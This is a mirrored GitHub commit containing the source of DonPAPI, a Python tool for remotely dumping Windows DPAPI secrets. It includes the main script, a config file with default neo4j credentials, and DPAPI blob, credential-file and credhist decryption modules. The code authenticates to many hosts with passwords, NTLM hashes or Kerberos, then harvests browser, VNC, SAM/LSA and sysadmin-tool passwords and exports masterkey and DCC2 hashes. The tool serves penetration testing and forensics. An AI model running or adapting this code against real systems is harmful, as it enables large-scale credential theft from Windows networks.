mirror of
https://github.com/login-securite/DonPAPI
synced 2025-04-11 03:32:47 +00:00
beta release commit
This commit is contained in:
commit
f27f527410
275
DonPAPI.py
Normal file
275
DonPAPI.py
Normal file
@ -0,0 +1,275 @@
|
||||
#!/usr/bin/env python
|
||||
# coding:utf-8
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description: Dump DPAPI secrets remotely
|
||||
#
|
||||
# Author:
|
||||
# PA Vandewoestyne
|
||||
# Credits :
|
||||
# Alberto Solino (@agsolino)
|
||||
# Benjamin Delpy (@gentilkiwi) for most of the DPAPI research (always greatly commented - <3 your code)
|
||||
# Alesandro Z (@) & everyone who worked on Lazagne (https://github.com/AlessandroZ/LaZagne/wiki) for the VNC & Firefox modules, and most likely for a lots of other ones in the futur.
|
||||
# dirkjanm @dirkjanm for the base code of adconnect dump (https://github.com/fox-it/adconnectdump) & every research he ever did. i learned so much on so many subjects thanks to you. <3
|
||||
# @Byt3bl3d33r for CME (lots of inspiration and code comes from CME : https://github.com/byt3bl33d3r/CrackMapExec )
|
||||
# All the Team of @LoginSecurite for their help in debugging my shity code (special thanks to @layno & @HackAndDo for that)
|
||||
|
||||
#
|
||||
from __future__ import division
|
||||
from __future__ import print_function
|
||||
import sys
|
||||
import logging
|
||||
import argparse,os,re,json,sqlite3
|
||||
from impacket import version
|
||||
from myseatbelt import MySeatBelt
|
||||
import concurrent.futures
|
||||
from lib.toolbox import split_targets,bcolors
|
||||
from database import database, reporting
|
||||
|
||||
|
||||
|
||||
global assets
|
||||
assets={}
|
||||
|
||||
|
||||
def main():
|
||||
global assets
|
||||
# Init the example's logger theme
|
||||
#logger.init()
|
||||
print(version.BANNER)
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "SeatBelt implementation.")
|
||||
|
||||
parser.add_argument('target', nargs='?', action='store', help='[[domain/]username[:password]@]<targetName or address>',default='')
|
||||
parser.add_argument('-credz', action='store', help='File containing multiple user:password or user:hash for masterkeys decryption')
|
||||
parser.add_argument('-pvk', action='store', help='input backupkey pvk file')
|
||||
parser.add_argument('-d','--debug', action='store_true', help='Turn DEBUG output ON')
|
||||
parser.add_argument('-t', default='30', metavar="number of threads", help='number of threads')
|
||||
parser.add_argument('-o', '--output_directory', default='./', help='output log directory')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
group.add_argument('-H','--hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials '
|
||||
'cannot be found, it will use the ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (1128 or 256 bits)')
|
||||
group.add_argument('-local_auth', action="store_true", help='use local authentification', default=False)
|
||||
group.add_argument('-laps', action="store_true", help='use LAPS to request local admin password', default=False)
|
||||
|
||||
|
||||
group = parser.add_argument_group('connection')
|
||||
group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
|
||||
group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
|
||||
'This is useful when target is the NetBIOS name and you cannot resolve it')
|
||||
group.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server')
|
||||
|
||||
group = parser.add_argument_group('Reporting')
|
||||
group.add_argument('-R', '--report', action="store_true", help='Only Generate Report on the scope', default=False)
|
||||
group.add_argument('--type', action="store", help='only report "type" password (wifi,credential-blob,browser-internet_explorer,LSA,SAM,taskscheduler,VNC,browser-chrome,browser-firefox')
|
||||
group.add_argument('-u','--user', action="store_true", help='only this username')
|
||||
group.add_argument('--target', action="store_true", help='only this target (url/IP...)')
|
||||
|
||||
group = parser.add_argument_group('attacks')
|
||||
group.add_argument('--no_browser', action="store_true", help='do not hunt for browser passwords', default=False)
|
||||
group.add_argument('--no_dpapi', action="store_true", help='do not hunt for DPAPI secrets', default=False)
|
||||
group.add_argument('--no_vnc', action="store_true", help='do not hunt for VNC passwords', default=False)
|
||||
group.add_argument('--no_remoteops', action="store_true", help='do not hunt for SAM and LSA with remoteops', default=False)
|
||||
group.add_argument('--GetHashes', action="store_true", help="Get all users Masterkey's hash & DCC2 hash", default=False)
|
||||
group.add_argument('--no_recent', action="store_true", help="Get recent files", default=False)
|
||||
group.add_argument('--no_sysadmins', action="store_true", help="Get sysadmins stuff (mRemoteNG, vnc, keepass, lastpass ...)", default=False)
|
||||
group.add_argument('--from_file', action='store', help='Give me the export of ADSyncQuery.exe ADSync.mdf to decrypt ADConnect password', default='adsync_export')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
#logging.basicConfig(filename='debug.log', level=logging.DEBUG)
|
||||
|
||||
if options.debug is True:
|
||||
logging.basicConfig(format='%(asctime)s.%(msecs)03d %(levelname)s {%(module)s} [%(funcName)s] %(message)s',
|
||||
datefmt='%Y-%m-%d,%H:%M:%S', level=logging.DEBUG,
|
||||
handlers=[logging.FileHandler("debug.log"), logging.StreamHandler()])
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.basicConfig(format='%(levelname)s %(message)s',
|
||||
datefmt='%Y-%m-%d,%H:%M:%S', level=logging.DEBUG,
|
||||
handlers=[logging.FileHandler("debug.log"), logging.StreamHandler()])
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
options.domain, options.username, options.password, options.address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
|
||||
|
||||
#Load Configuration and add them to the options
|
||||
load_configs(options)
|
||||
#init database?
|
||||
first_run(options)
|
||||
#
|
||||
|
||||
if options.report is not None and options.report!=False:
|
||||
options.report = True
|
||||
#In case the password contains '@'
|
||||
if '@' in options.address:
|
||||
options.password = options.password + '@' + options.address.rpartition('@')[0]
|
||||
options.address = options.address.rpartition('@')[2]
|
||||
|
||||
if options.target_ip is None:
|
||||
options.target_ip = options.address
|
||||
if options.domain is None:
|
||||
options.domain = ''
|
||||
|
||||
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
options.password = getpass("Password:")
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
if options.hashes is not None:
|
||||
if ':' in options.hashes:
|
||||
options.lmhash, options.nthash = options.hashes.split(':')
|
||||
else:
|
||||
options.lmhash = 'aad3b435b51404eeaad3b435b51404ee'
|
||||
options.nthash = options.hashes
|
||||
else:
|
||||
options.lmhash = ''
|
||||
options.nthash = ''
|
||||
credz={}
|
||||
if options.credz is not None:
|
||||
if os.path.isfile(options.credz):
|
||||
with open(options.credz, 'rb') as f:
|
||||
file_data = f.read().replace(b'\x0d', b'').split(b'\n')
|
||||
for cred in file_data:
|
||||
if b':' in cred:
|
||||
tmp_username, tmp_password = cred.split(b':')
|
||||
#Add "history password to account pass to test
|
||||
if b'_history' in tmp_username:
|
||||
tmp_username=tmp_username[:tmp_username.index(b'_history')]
|
||||
if tmp_username.decode('utf-8') not in credz:
|
||||
credz[tmp_username.decode('utf-8')] = [tmp_password.decode('utf-8')]
|
||||
else:
|
||||
credz[tmp_username.decode('utf-8')].append(tmp_password.decode('utf-8'))
|
||||
logging.info(f'Loaded {len(credz)} user credentials')
|
||||
|
||||
else:
|
||||
logging.error(f"[!]Credential file {options.credz} not found")
|
||||
#Also adding submited credz
|
||||
if options.username not in credz:
|
||||
if options.password!='':
|
||||
credz[options.username] = [options.password]
|
||||
if options.nthash!='':
|
||||
credz[options.username] = [options.nthash]
|
||||
else:
|
||||
if options.password!='':
|
||||
credz[options.username].append(options.password)
|
||||
if options.nthash!='':
|
||||
credz[options.username].append(options.nthash)
|
||||
options.credz=credz
|
||||
|
||||
targets = split_targets(options.target_ip)
|
||||
logging.info("Loaded {i} targets".format(i=len(targets)))
|
||||
if not options.report :
|
||||
try:
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=int(options.t)) as executor:
|
||||
executor.map(seatbelt_thread, [(target, options, logging) for target in targets])
|
||||
except Exception as e:
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
logging.error(str(e))
|
||||
#print("ENDING MAIN")
|
||||
my_report = reporting(sqlite3.connect(options.db_path), logging, options, targets)
|
||||
my_report.generate_report()
|
||||
if options.GetHashes:
|
||||
my_report.export_hashes()
|
||||
my_report.export_dcc2_hashes()
|
||||
|
||||
#attendre la fin de toutes les threads ?
|
||||
if options.report :
|
||||
try:
|
||||
my_report = reporting(sqlite3.connect(options.db_path), logging,options,targets)
|
||||
my_report.generate_report()
|
||||
if options.GetHashes:
|
||||
my_report.export_MKF_hashes()
|
||||
my_report.export_dcc2_hashes()
|
||||
except Exception as e:
|
||||
logging.error(str(e))
|
||||
|
||||
def load_configs(options):
|
||||
seatbelt_path = os.path.dirname(os.path.realpath(__file__))
|
||||
config_file=os.path.join(os.path.join(seatbelt_path,"config"),"seatbelt_config.json")
|
||||
with open(config_file,'rb') as config:
|
||||
config_parser = json.load(config)
|
||||
options.db_path=config_parser['db_path']
|
||||
options.db_name = config_parser['db_name']
|
||||
options.workspace=config_parser['workspace']
|
||||
|
||||
def first_run(options):
|
||||
#Create directory if needed
|
||||
if not os.path.exists(options.output_directory) :
|
||||
os.mkdir(options.output_directory)
|
||||
db_path=os.path.join(options.output_directory,options.db_name)
|
||||
logging.debug(f"Database file = {db_path}")
|
||||
options.db_path = db_path
|
||||
if not os.path.exists(options.db_path):
|
||||
logging.info(f'Initializing database {options.db_path}')
|
||||
conn = sqlite3.connect(options.db_path,check_same_thread=False)
|
||||
c = conn.cursor()
|
||||
# try to prevent some of the weird sqlite I/O errors
|
||||
c.execute('PRAGMA journal_mode = OFF')
|
||||
c.execute('PRAGMA foreign_keys = 1')
|
||||
database(conn, logging).db_schema(c)
|
||||
#getattr(protocol_object, 'database').db_schema(c)
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
def seatbelt_thread(datas):
|
||||
global assets
|
||||
target,options, logger=datas
|
||||
logging.debug("[*] SeatBelt thread for {ip} Started".format(ip=target))
|
||||
|
||||
try:
|
||||
mysb = MySeatBelt(target,options,logger)
|
||||
if mysb.admin_privs:
|
||||
mysb.do_test()
|
||||
# mysb.run()
|
||||
#mysb.quit()
|
||||
else:
|
||||
logging.debug("[*] No ADMIN account on target {ip}".format(ip=target))
|
||||
|
||||
#assets[target] = mysb.get_secrets()
|
||||
logging.debug("[*] SeatBelt thread for {ip} Ended".format(ip=target))
|
||||
except Exception as e:
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
logging.error(str(e))
|
||||
|
||||
|
||||
def export_results_seatbelt(output_dir=''):
|
||||
global assets
|
||||
users={}
|
||||
logging.info(f"[+]Gathered infos from {len(assets)} targets")
|
||||
f = open(os.path.join(output_dir, f'SeatBelt_secrets_all.log'), 'wb')
|
||||
for machine_ip in assets:
|
||||
for user in assets[machine_ip]:
|
||||
if user not in users:
|
||||
users[user]=[]
|
||||
for secret in assets[machine_ip][user]:
|
||||
f.write(f"[{machine_ip}//{user}] {assets[machine_ip][user][secret]}\n".encode('utf-8'))
|
||||
if assets[machine_ip][user][secret] not in users[user]:
|
||||
users[user].append(assets[machine_ip][user][secret])
|
||||
#
|
||||
f.close()
|
||||
f = open(os.path.join(output_dir, f'SeatBelt_secrets.log'), 'wb')
|
||||
for user in users:
|
||||
for secret in users[user][secret]:
|
||||
f.write(f"[{user}]\n{users[user][secret]}\n".encode('utf-8'))
|
||||
f.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
#GetDomainBackupKey : dpapi.py backupkeys credz@DC.local --export
|
||||
|
13
config/seatbelt_config.json
Normal file
13
config/seatbelt_config.json
Normal file
@ -0,0 +1,13 @@
|
||||
{
|
||||
"workspace":"default",
|
||||
"db_path":"seatbelt.db",
|
||||
"db_name":"seatbelt.db",
|
||||
"css":"res\\css\\style.css",
|
||||
"mychartjs":"res\\css\\Chart.js",
|
||||
"logo_login": "res\\Logo_LOGIN.PNG",
|
||||
"logo_link": "res\\link.png",
|
||||
"BH_neo4j_ip": "127.0.0.1",
|
||||
"BH_neo4j_port": "7474",
|
||||
"BH_neo4j_user": "neo4j",
|
||||
"BH_neo4j_password": "neo4j"
|
||||
}
|
1401
database.py
Normal file
1401
database.py
Normal file
File diff suppressed because it is too large
Load Diff
0
lazagne/__init__.py
Normal file
0
lazagne/__init__.py
Normal file
1
lazagne/config/DPAPI/__init__.py
Normal file
1
lazagne/config/DPAPI/__init__.py
Normal file
@ -0,0 +1 @@
|
||||
|
139
lazagne/config/DPAPI/blob.py
Normal file
139
lazagne/config/DPAPI/blob.py
Normal file
@ -0,0 +1,139 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
"""
|
||||
Code based from these two awesome projects:
|
||||
- DPAPICK : https://bitbucket.org/jmichel/dpapick
|
||||
- DPAPILAB : https://github.com/dfirfpi/dpapilab
|
||||
"""
|
||||
import codecs
|
||||
import traceback
|
||||
|
||||
from .eater import DataStruct
|
||||
from . import crypto
|
||||
|
||||
from lazagne.config.write_output import print_debug
|
||||
from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
|
||||
from lazagne.config.crypto.pyDes import CBC
|
||||
from lazagne.config.winstructure import char_to_int
|
||||
|
||||
AES_BLOCK_SIZE = 16
|
||||
|
||||
|
||||
class DPAPIBlob(DataStruct):
|
||||
"""Represents a DPAPI blob"""
|
||||
|
||||
def __init__(self, raw=None):
|
||||
"""
|
||||
Constructs a DPAPIBlob. If raw is set, automatically calls parse().
|
||||
"""
|
||||
self.version = None
|
||||
self.provider = None
|
||||
self.mkguid = None
|
||||
self.mkversion = None
|
||||
self.flags = None
|
||||
self.description = None
|
||||
self.cipherAlgo = None
|
||||
self.keyLen = 0
|
||||
self.hmac = None
|
||||
self.strong = None
|
||||
self.hashAlgo = None
|
||||
self.hashLen = 0
|
||||
self.cipherText = None
|
||||
self.salt = None
|
||||
self.blob = None
|
||||
self.sign = None
|
||||
self.cleartext = None
|
||||
self.decrypted = False
|
||||
self.signComputed = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
"""Parses the given data. May raise exceptions if incorrect data are
|
||||
given. You should not call this function yourself; DataStruct does
|
||||
|
||||
data is a DataStruct object.
|
||||
Returns nothing.
|
||||
|
||||
"""
|
||||
self.version = data.eat("L")
|
||||
self.provider = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B")
|
||||
|
||||
# For HMAC computation
|
||||
blobStart = data.ofs
|
||||
|
||||
self.mkversion = data.eat("L")
|
||||
self.mkguid = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B")
|
||||
self.flags = data.eat("L")
|
||||
self.description = data.eat_length_and_string("L").replace(b"\x00", b"")
|
||||
self.cipherAlgo = crypto.CryptoAlgo(data.eat("L"))
|
||||
self.keyLen = data.eat("L")
|
||||
self.salt = data.eat_length_and_string("L")
|
||||
self.strong = data.eat_length_and_string("L")
|
||||
self.hashAlgo = crypto.CryptoAlgo(data.eat("L"))
|
||||
self.hashLen = data.eat("L")
|
||||
self.hmac = data.eat_length_and_string("L")
|
||||
self.cipherText = data.eat_length_and_string("L")
|
||||
|
||||
# For HMAC computation
|
||||
self.blob = data.raw[blobStart:data.ofs]
|
||||
self.sign = data.eat_length_and_string("L")
|
||||
|
||||
def decrypt(self, masterkey, entropy=None, strongPassword=None):
|
||||
"""Try to decrypt the blob. Returns True/False
|
||||
:rtype : bool
|
||||
:param masterkey: decrypted masterkey value
|
||||
:param entropy: optional entropy for decrypting the blob
|
||||
:param strongPassword: optional password for decrypting the blob
|
||||
"""
|
||||
for algo in [crypto.CryptSessionKeyXP, crypto.CryptSessionKeyWin7]:
|
||||
try:
|
||||
sessionkey = algo(masterkey, self.salt, self.hashAlgo, entropy=entropy, strongPassword=strongPassword)
|
||||
key = crypto.CryptDeriveKey(sessionkey, self.cipherAlgo, self.hashAlgo)
|
||||
|
||||
if "AES" in self.cipherAlgo.name:
|
||||
cipher = AESModeOfOperationCBC(key[:int(self.cipherAlgo.keyLength)],
|
||||
iv=b"\x00" * int(self.cipherAlgo.ivLength))
|
||||
self.cleartext = b"".join([cipher.decrypt(self.cipherText[i:i + AES_BLOCK_SIZE]) for i in
|
||||
range(0, len(self.cipherText), AES_BLOCK_SIZE)])
|
||||
else:
|
||||
cipher = self.cipherAlgo.module(key, CBC, b"\x00" * self.cipherAlgo.ivLength)
|
||||
self.cleartext = cipher.decrypt(self.cipherText)
|
||||
|
||||
padding = char_to_int(self.cleartext[-1])
|
||||
if padding <= self.cipherAlgo.blockSize:
|
||||
self.cleartext = self.cleartext[:-padding]
|
||||
|
||||
# check against provided HMAC
|
||||
self.signComputed = algo(masterkey, self.hmac, self.hashAlgo, entropy=entropy, verifBlob=self.blob)
|
||||
self.decrypted = self.signComputed == self.sign
|
||||
|
||||
if self.decrypted:
|
||||
return True
|
||||
except Exception:
|
||||
print_debug('DEBUG', traceback.format_exc())
|
||||
|
||||
self.decrypted = False
|
||||
return self.decrypted
|
||||
|
||||
def decrypt_encrypted_blob(self, mkp, entropy_hex=False):
|
||||
"""
|
||||
This function should be called to decrypt a dpapi blob.
|
||||
It will find the associcated masterkey used to decrypt the blob.
|
||||
:param mkp: masterkey pool object (MasterKeyPool)
|
||||
"""
|
||||
mks = mkp.get_master_keys(self.mkguid)
|
||||
if not mks:
|
||||
return False, 'Unable to find MK for blob {mk_guid}'.format(mk_guid=self.mkguid)
|
||||
|
||||
entropy = None
|
||||
if entropy_hex:
|
||||
entropy = codecs.decode(entropy_hex, 'hex')
|
||||
|
||||
for mk in mks:
|
||||
if mk.decrypted:
|
||||
self.decrypt(mk.get_key(), entropy=entropy)
|
||||
if self.decrypted:
|
||||
return True, self.cleartext
|
||||
|
||||
return False, 'Unable to decrypt master key'
|
108
lazagne/config/DPAPI/credfile.py
Normal file
108
lazagne/config/DPAPI/credfile.py
Normal file
@ -0,0 +1,108 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
"""
|
||||
Code based from these two awesome projects:
|
||||
- DPAPICK : https://bitbucket.org/jmichel/dpapick
|
||||
- DPAPILAB : https://github.com/dfirfpi/dpapilab
|
||||
"""
|
||||
|
||||
from .blob import DPAPIBlob
|
||||
from .eater import DataStruct
|
||||
|
||||
|
||||
class CredentialDecryptedHeader(DataStruct):
|
||||
"""
|
||||
Header of the structure returned once the blob has been decrypted
|
||||
Header of the CredentialDecrypted class
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
self.total_size = None
|
||||
self.unknown1 = None
|
||||
self.unknown2 = None
|
||||
self.unknown3 = None
|
||||
self.last_update = None
|
||||
self.unknown4 = None
|
||||
self.unk_type = None
|
||||
self.unk_blocks = None
|
||||
self.unknown5 = None
|
||||
self.unknown6 = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.total_size = data.eat("L")
|
||||
self.unknown1 = data.eat("L")
|
||||
self.unknown2 = data.eat("L")
|
||||
self.unknown3 = data.eat("L")
|
||||
self.last_update = data.eat("Q")
|
||||
self.unknown4 = data.eat("L")
|
||||
self.unk_type = data.eat("L")
|
||||
self.unk_blocks = data.eat("L")
|
||||
self.unknown5 = data.eat("L")
|
||||
self.unknown6 = data.eat("L")
|
||||
|
||||
|
||||
class CredentialDecrypted(DataStruct):
|
||||
"""
|
||||
Structure returned once the blob has been decrypted
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
self.header_size = None
|
||||
self.header = None
|
||||
self.domain = None
|
||||
self.unk_string1 = None
|
||||
self.unk_string2 = None
|
||||
self.unk_string3 = None
|
||||
self.username = None
|
||||
self.password = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.header_size = data.eat("L")
|
||||
if self.header_size > 0:
|
||||
self.header = CredentialDecryptedHeader()
|
||||
self.header.parse(data.eat_sub(self.header_size - 4))
|
||||
self.domain = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
|
||||
self.unk_string1 = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
|
||||
self.unk_string2 = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
|
||||
self.unk_string3 = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
|
||||
self.username = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
|
||||
self.password = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
|
||||
|
||||
|
||||
class CredFile(DataStruct):
|
||||
"""
|
||||
Decrypt Credentials Files stored on ...\\Microsoft\\Credentials\\...
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
self.unknown1 = None
|
||||
self.blob_size = None
|
||||
self.unknown2 = None
|
||||
self.blob = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.unknown1 = data.eat("L")
|
||||
self.blob_size = data.eat("L")
|
||||
self.unknown2 = data.eat("L")
|
||||
if self.blob_size > 0:
|
||||
self.blob = DPAPIBlob()
|
||||
self.blob.parse(data.eat_sub(self.blob_size))
|
||||
|
||||
def decrypt(self, mkp, credfile):
|
||||
ok, msg = self.blob.decrypt_encrypted_blob(mkp=mkp)
|
||||
if ok:
|
||||
cred_dec = CredentialDecrypted(msg)
|
||||
if cred_dec.header.unk_type in [2, 3]:
|
||||
return True, {
|
||||
'File': credfile,
|
||||
'Domain': cred_dec.domain,
|
||||
'Username': cred_dec.username,
|
||||
'Password': cred_dec.password,
|
||||
}
|
||||
elif cred_dec.header.unk_type == 2:
|
||||
return False, 'System credential type'
|
||||
else:
|
||||
return False, 'Unknown CREDENTIAL type, please report.\nCreds: {creds}'.format(creds=cred_dec)
|
||||
else:
|
||||
return ok, msg
|
142
lazagne/config/DPAPI/credhist.py
Normal file
142
lazagne/config/DPAPI/credhist.py
Normal file
@ -0,0 +1,142 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
"""
|
||||
Code based from these two awesome projects:
|
||||
- DPAPICK : https://bitbucket.org/jmichel/dpapick
|
||||
- DPAPILAB : https://github.com/dfirfpi/dpapilab
|
||||
"""
|
||||
|
||||
import struct
|
||||
import hashlib
|
||||
|
||||
from . import crypto
|
||||
from .eater import DataStruct
|
||||
|
||||
|
||||
class RPC_SID(DataStruct):
|
||||
"""
|
||||
Represents a RPC_SID structure. See MSDN for documentation
|
||||
"""
|
||||
def __init__(self, raw=None):
|
||||
self.version = None
|
||||
self.idAuth = None
|
||||
self.subAuth = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.version = data.eat("B")
|
||||
n = data.eat("B")
|
||||
self.idAuth = struct.unpack(">Q", b"\0\0" + data.eat("6s"))[0]
|
||||
self.subAuth = data.eat("%dL" % n)
|
||||
|
||||
def __str__(self):
|
||||
s = ["S-%d-%d" % (self.version, self.idAuth)]
|
||||
s += ["%d" % x for x in self.subAuth]
|
||||
return "-".join(s)
|
||||
|
||||
|
||||
class CredhistEntry(DataStruct):
|
||||
|
||||
def __init__(self, raw=None):
|
||||
self.pwdhash = None
|
||||
self.hmac = None
|
||||
self.revision = None
|
||||
self.hashAlgo = None
|
||||
self.rounds = None
|
||||
self.cipherAlgo = None
|
||||
self.shaHashLen = None
|
||||
self.ntHashLen = None
|
||||
self.iv = None
|
||||
self.userSID = None
|
||||
self.encrypted = None
|
||||
self.revision2 = None
|
||||
self.guid = None
|
||||
self.ntlm = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
self.revision = data.eat("L")
|
||||
self.hashAlgo = crypto.CryptoAlgo(data.eat("L"))
|
||||
self.rounds = data.eat("L")
|
||||
data.eat("L")
|
||||
self.cipherAlgo = crypto.CryptoAlgo(data.eat("L"))
|
||||
self.shaHashLen = data.eat("L")
|
||||
self.ntHashLen = data.eat("L")
|
||||
self.iv = data.eat("16s")
|
||||
|
||||
self.userSID = RPC_SID()
|
||||
self.userSID.parse(data)
|
||||
|
||||
n = self.shaHashLen + self.ntHashLen
|
||||
n += -n % self.cipherAlgo.blockSize
|
||||
self.encrypted = data.eat_string(n)
|
||||
|
||||
self.revision2 = data.eat("L")
|
||||
self.guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
|
||||
|
||||
def decrypt_with_hash(self, pwdhash):
|
||||
"""
|
||||
Decrypts this credhist entry with the given user's password hash.
|
||||
Simply computes the encryption key with the given hash
|
||||
then calls self.decrypt_with_key() to finish the decryption.
|
||||
"""
|
||||
self.decrypt_with_key(crypto.derivePwdHash(pwdhash, str(self.userSID)))
|
||||
|
||||
def decrypt_with_key(self, enckey):
|
||||
"""
|
||||
Decrypts this credhist entry using the given encryption key.
|
||||
"""
|
||||
cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.encrypted, enckey,
|
||||
self.iv, self.rounds)
|
||||
self.pwdhash = cleartxt[:self.shaHashLen]
|
||||
self.ntlm = cleartxt[self.shaHashLen:self.shaHashLen + self.ntHashLen].rstrip(b"\x00")
|
||||
if len(self.ntlm) != 16:
|
||||
self.ntlm = None
|
||||
|
||||
|
||||
class CredHistFile(DataStruct):
|
||||
|
||||
def __init__(self, raw=None):
|
||||
self.entries_list = []
|
||||
self.entries = {}
|
||||
self.valid = False
|
||||
self.footmagic = None
|
||||
self.curr_guid = None
|
||||
DataStruct.__init__(self, raw)
|
||||
|
||||
def parse(self, data):
|
||||
while True:
|
||||
l = data.pop("L")
|
||||
if l == 0:
|
||||
break
|
||||
self.addEntry(data.pop_string(l - 4))
|
||||
|
||||
self.footmagic = data.eat("L")
|
||||
self.curr_guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
|
||||
|
||||
def addEntry(self, blob):
|
||||
"""
|
||||
Creates a CredhistEntry object with blob then adds it to the store
|
||||
"""
|
||||
x = CredhistEntry(blob)
|
||||
self.entries[x.guid] = x
|
||||
self.entries_list.append(x)
|
||||
|
||||
def decrypt_with_hash(self, pwdhash):
|
||||
"""
|
||||
Try to decrypt each entry with the given hash
|
||||
"""
|
||||
|
||||
if self.valid:
|
||||
return
|
||||
|
||||
for entry in self.entries_list:
|
||||
entry.decrypt_with_hash(pwdhash)
|
||||
|
||||
def decrypt_with_password(self, password):
|
||||
"""
|
||||
Decrypts this credhist entry with the given user's password.
|
||||
Simply computes the password hash then calls self.decrypt_with_hash()
|
||||
"""
|
||||
self.decrypt_with_hash(hashlib.sha1(password.encode("UTF-16LE")).digest())
|
366
lazagne/config/DPAPI/crypto.py
Normal file
366
lazagne/config/DPAPI/crypto.py
Normal file
@ -0,0 +1,366 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
#############################################################################
|
||||
# ##
|
||||
# This file is part of DPAPIck ##
|
||||
# Windows DPAPI decryption & forensic toolkit ##
|
||||
# ##
|
||||
# ##
|
||||
# Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ##
|
||||
# This document is the property of Cassidian SAS, it may not be copied or ##
|
||||
# circulated without prior licence ##
|
||||
# ##
|
||||
# Author: Jean-Michel Picod <jmichel.p@gmail.com> ##
|
||||
# ##
|
||||
# This program is distributed under GPLv3 licence (see LICENCE.txt) ##
|
||||
# ##
|
||||
#############################################################################
|
||||
|
||||
import array
|
||||
import hashlib
|
||||
import hmac
|
||||
import struct
|
||||
import sys
|
||||
|
||||
from lazagne.config.crypto.rc4 import RC4
|
||||
from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC, AESModeOfOperationECB
|
||||
from lazagne.config.crypto.pyDes import triple_des, des, ECB, CBC
|
||||
from lazagne.config.winstructure import char_to_int, chr_or_byte
|
||||
|
||||
|
||||
try:
|
||||
xrange
|
||||
except NameError:
|
||||
xrange = range
|
||||
|
||||
AES_BLOCK_SIZE = 16
|
||||
|
||||
|
||||
class CryptoAlgo(object):
|
||||
"""
|
||||
This class is used to wrap Microsoft algorithm IDs with M2Crypto
|
||||
"""
|
||||
|
||||
class Algo(object):
|
||||
def __init__(self, data):
|
||||
self.data = data
|
||||
|
||||
def __getattr__(self, attr):
|
||||
if attr in self.data:
|
||||
return self.data[attr]
|
||||
raise AttributeError(attr)
|
||||
|
||||
_crypto_data = {}
|
||||
|
||||
@classmethod
|
||||
def add_algo(cls, algnum, **kargs):
|
||||
cls._crypto_data[algnum] = cls.Algo(kargs)
|
||||
if 'name' in kargs:
|
||||
kargs['ID'] = algnum
|
||||
cls._crypto_data[kargs['name']] = cls.Algo(kargs)
|
||||
|
||||
@classmethod
|
||||
def get_algo(cls, algnum):
|
||||
return cls._crypto_data[algnum]
|
||||
|
||||
def __init__(self, i):
|
||||
self.algnum = i
|
||||
self.algo = CryptoAlgo.get_algo(i)
|
||||
|
||||
